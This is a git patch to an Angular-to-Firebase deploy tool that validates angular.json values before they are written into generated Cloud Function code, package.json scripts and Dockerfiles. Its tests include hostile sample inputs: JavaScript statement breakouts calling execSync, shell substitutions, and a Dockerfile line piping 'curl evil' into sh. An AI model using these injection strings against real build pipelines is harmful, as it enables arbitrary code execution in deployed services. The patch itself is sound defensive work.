From 4abf2ebb62aaf181037001bf145908b6fa011369 Mon Sep 17 00:00:00 2001 From: Herdiyan Adam Putra Date: Mon, 10 Aug 2026 23:39:18 +0700 Subject: [PATCH] fix(deploy): prevent code-generation injection from angular.json values deployToFunction / deployToCloudRun interpolate several angular.json-derived values straight into generated, later-executed artifacts. A server build target's outputPath is written raw into the generated Cloud Function index.js (`require('.//main')`) and into the generated package.json start script (`node /main.js`); functionName is written raw as the `exports.` target in index.js; region is written into a quoted string in the default index.js template; and functionsNodeVersion is written raw into the generated Cloud Run Dockerfile (`FROM node:-slim`). A malicious or cloned workspace could therefore run arbitrary code in the deployed function/container (and locally during `firebase serve` preview) via `ng deploy`. These sinks are distinct from the gcloud argv path (PR #3726) and the execSync sinks (PR #3738). Validate outputPath (assertSafeOutputPath, now also rejecting a leading dash that node would read as a flag in the start script), functionName (assertSafeFunctionName, a plain-identifier allowlist), and functionsNodeVersion (assertSafeNodeVersion) before they reach code generation, and emit region through JSON.stringify in the default template so it is structurally escaped rather than screened. Add schema patterns for functionName, region and functionsNodeVersion. Tests cover the validators directly and drive deployToFunction / deployToCloudRun with hostile inputs so the checks cannot be dropped without a failing spec. --- src/schematics/deploy/actions.jasmine.ts | 115 ++++++++++++++++++- src/schematics/deploy/actions.ts | 45 ++++++++ src/schematics/deploy/functions-templates.ts | 2 +- src/schematics/deploy/schema.json | 3 + 4 files changed, 163 insertions(+), 2 deletions(-) diff --git a/src/schematics/deploy/actions.jasmine.ts b/src/schematics/deploy/actions.jasmine.ts index 1795ea10d..d51d17a53 100644 --- a/src/schematics/deploy/actions.jasmine.ts +++ b/src/schematics/deploy/actions.jasmine.ts @@ -1,9 +1,10 @@ /* eslint-disable @typescript-eslint/no-empty-function */ import { join } from 'path'; +import { Script } from 'vm'; import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect'; import { JsonObject, logging } from '@angular-devkit/core'; import { BuildTarget, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces'; -import deploy, { deployToFunction } from './actions.js' +import deploy, { assertSafeFunctionName, assertSafeNodeVersion, assertSafeOutputPath, deployToCloudRun, deployToFunction } from './actions.js' import 'jasmine'; let context: BuilderContext; @@ -300,3 +301,115 @@ describe('universal deployment', () => { expect(spy).not.toHaveBeenCalled(); });*/ }); + +describe('deploy codegen input validation (injection hardening)', () => { + describe('assertSafeOutputPath', () => { + ['dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e'].forEach((p) => { + it(`allows the valid outputPath "${p}"`, () => { + expect(assertSafeOutputPath(p, 'proj:server')).toBe(p); + }); + }); + + [`x'); require('child_process').execSync('id'); ('`, 'a`id`', 'a$(id)', 'a;b', 'a\nb', 'a"b', 'a|b'].forEach((p) => { + it(`rejects the unsafe outputPath ${JSON.stringify(p)}`, () => { + expect(() => assertSafeOutputPath(p, 'proj:server')).toThrowError(/Unsafe outputPath/); + }); + }); + }); + + describe('assertSafeNodeVersion', () => { + [undefined, 18, 20, '18', '18.19', '20.11.1'].forEach((v) => { + it(`allows the valid functionsNodeVersion ${JSON.stringify(v)}`, () => { + expect(() => assertSafeNodeVersion(v as string | number | undefined)).not.toThrow(); + }); + }); + + ['18-slim\nRUN curl evil | sh', '18 && id', 'latest', '18;id', '$(id)'].forEach((v) => { + it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(v)}`, () => { + expect(() => assertSafeNodeVersion(v)).toThrowError(/Unsafe functionsNodeVersion/); + }); + }); + }); + + describe('assertSafeFunctionName', () => { + [undefined, 'ssr', 'ssrHandler', '_app', '$fn', 'a1'].forEach((n) => { + it(`allows the valid functionName ${JSON.stringify(n)}`, () => { + expect(() => assertSafeFunctionName(n as string | undefined)).not.toThrow(); + }); + }); + + [`ssr; require('child_process').execSync('id'); var _x`, 'my-fn', 'a b', '1fn', 'a.b', `a'`].forEach((n) => { + it(`rejects the unsafe functionName ${JSON.stringify(n)}`, () => { + expect(() => assertSafeFunctionName(n)).toThrowError(/Unsafe functionName/); + }); + }); + }); +}); + +// These drive the builders end-to-end so the protection cannot be silently dropped: +// each fails if the corresponding assert call is removed from deployToFunction / +// deployToCloudRun, rather than only exercising the validators in isolation. +describe('deploy codegen hardening is wired into the builders', () => { + beforeEach(() => initMocks()); + + const withServerOutputPath = (outputPath: string) => ((target: Target) => { + if (target.target === 'build') { return { outputPath: 'dist/browser' }; } + if (target.target === 'server') { return { outputPath }; } + return undefined; + }) as unknown as BuilderContext['getTargetOptions']; + + const EVIL_PATH = `dist'); require('child_process').execSync('id'); ('`; + + it('deployToFunction rejects a hostile server outputPath', async () => { + context.getTargetOptions = withServerOutputPath(EVIL_PATH); + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToFunction rejects a server outputPath that starts with a dash', async () => { + context.getTargetOptions = withServerOutputPath('-rf'); + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToFunction rejects a functionName that is not a plain identifier', async () => { + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, functionName: `ssr; require('child_process').execSync('id'); var _x` }, + undefined, fsHost + )).toBeRejectedWithError(/Unsafe functionName/); + }); + + it('deployToFunction escapes region into the generated function instead of interpolating it raw', async () => { + const spy = spyOn(fsHost, 'writeFileSync'); + const region = `us-central1'); require('child_process').execSync('id'); ('`; + await deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, region }, undefined, fsHost + ); + const indexJs = spy.calls.argsFor(1)[1] as string; + expect(indexJs).toContain(`.region(${JSON.stringify(region)})`); + // The payload survives only as data inside a string literal: compiling the source + // (without running it) still parses, so nothing broke out of the literal. + expect(() => new Script(indexJs)).not.toThrow(); + }); + + it('deployToCloudRun rejects a hostile server outputPath', async () => { + context.getTargetOptions = withServerOutputPath(EVIL_PATH); + await expectAsync(deployToCloudRun( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToCloudRun rejects a hostile functionsNodeVersion', async () => { + await expectAsync(deployToCloudRun( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe functionsNodeVersion/); + }); +}); diff --git a/src/schematics/deploy/actions.ts b/src/schematics/deploy/actions.ts index cecf255bf..e5ca796bf 100644 --- a/src/schematics/deploy/actions.ts +++ b/src/schematics/deploy/actions.ts @@ -64,6 +64,45 @@ export type DeployBuilderOptions = DeployBuilderSchema & Record; const escapeRegExp = (str: string) => str.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&'); +// A build target's outputPath (from angular.json's architect...options) +// is interpolated raw into generated Cloud Function source (`require('.//main')`) +// and into the generated package.json start script (`node /main.js`), both of which +// are later executed. Reject values carrying quotes, backslashes, newlines or shell +// metacharacters, which could break out of that string literal or command, and reject a +// leading dash, which the start script's `node /main.js` would read as a flag. +export const assertSafeOutputPath = (outputPath: string, targetName: string): string => { + if (/['"`\\\r\n;$&|<>(){}]/.test(outputPath) || outputPath.startsWith('-')) { + throw new SchematicsException( + `Unsafe outputPath ${JSON.stringify(outputPath)} for target '${targetName}' in angular.json.` + ); + } + return outputPath; +}; + +// functionName is interpolated raw into the generated Cloud Function source as the +// `exports.` assignment target (functions-templates.ts), which is executed when the +// function loads. Allow only a plain JavaScript identifier so it cannot introduce further +// statements; this also turns a name that would silently produce an unparseable file (for +// example one containing a dash) into an explicit error. +export const assertSafeFunctionName = (functionName: string | undefined): void => { + if (functionName !== undefined && !/^[A-Za-z_$][A-Za-z0-9_$]*$/.test(functionName)) { + throw new SchematicsException( + `Unsafe functionName ${JSON.stringify(functionName)} in angular.json; expected a plain identifier.` + ); + } +}; + +// functionsNodeVersion is interpolated raw into the generated Dockerfile's FROM line +// (`FROM node:-slim`), executed during the Cloud Run container build. Restrict it +// to a plain version so it cannot inject extra Dockerfile instructions. +export const assertSafeNodeVersion = (version: string | number | undefined): void => { + if (version !== undefined && !/^\d+(\.\d+)*$/.test(String(version))) { + throw new SchematicsException( + `Unsafe functionsNodeVersion ${JSON.stringify(version)} in angular.json.` + ); + } +}; + const moveSync = (src: string, dest: string) => { copySync(src, dest); removeSync(src); @@ -178,6 +217,7 @@ export const deployToFunction = async ( `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name); const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name)); if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') { @@ -185,11 +225,13 @@ export const deployToFunction = async ( `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name); const staticOut = join(workspaceRoot, staticBuildOptions.outputPath); const serverOut = join(workspaceRoot, serverBuildOptions.outputPath); const functionsOut = options.outputPath ? join(workspaceRoot, options.outputPath) : dirname(serverOut); + assertSafeFunctionName(options.functionName); const functionName = options.functionName || DEFAULT_FUNCTION_NAME; const newStaticOut = join(functionsOut, staticBuildOptions.outputPath); @@ -297,6 +339,7 @@ export const deployToCloudRun = async ( `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name); const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name)); if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') { @@ -304,6 +347,7 @@ export const deployToCloudRun = async ( `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name); const staticOut = join(workspaceRoot, staticBuildOptions.outputPath); const serverOut = join(workspaceRoot, serverBuildOptions.outputPath); @@ -336,6 +380,7 @@ export const deployToCloudRun = async ( JSON.stringify(packageJson, null, 2), ); + assertSafeNodeVersion(options.functionsNodeVersion); fsHost.writeFileSync( join(cloudRunOut, 'Dockerfile'), dockerfile(options) diff --git a/src/schematics/deploy/functions-templates.ts b/src/schematics/deploy/functions-templates.ts index 13cd9ab14..2b8e48fd4 100644 --- a/src/schematics/deploy/functions-templates.ts +++ b/src/schematics/deploy/functions-templates.ts @@ -42,7 +42,7 @@ require("firebase-functions/logger/compat"); const expressApp = require('./${path}/main').app(); exports.${functionName || DEFAULT_FUNCTION_NAME} = functions - .region('${options.region || DEFAULT_FUNCTION_REGION}') + .region(${JSON.stringify(options.region || DEFAULT_FUNCTION_REGION)}) .runWith(${JSON.stringify(options.functionsRuntimeOptions || DEFAULT_RUNTIME_OPTIONS)}) .https .onRequest(expressApp); diff --git a/src/schematics/deploy/schema.json b/src/schematics/deploy/schema.json index 6335d3a8d..f7f1ad847 100644 --- a/src/schematics/deploy/schema.json +++ b/src/schematics/deploy/schema.json @@ -51,10 +51,12 @@ }, "functionName": { "type": "string", + "pattern": "^[A-Za-z_$][A-Za-z0-9_$]*$", "description": "The name of the Cloud Function or Cloud Run serviceId to deploy SSR to" }, "functionsNodeVersion": { "oneOf": [{ "type": "number" }, { "type": "string" }], + "pattern": "^\\d+(\\.\\d+)*$", "description": "Version of Node.js to run Cloud Functions / Run on" }, "CF3v2": { @@ -63,6 +65,7 @@ }, "region": { "type": "string", + "pattern": "^[a-z0-9-]+$", "description": "The region to deploy Cloud Functions or Cloud Run to" }, "outputPath": {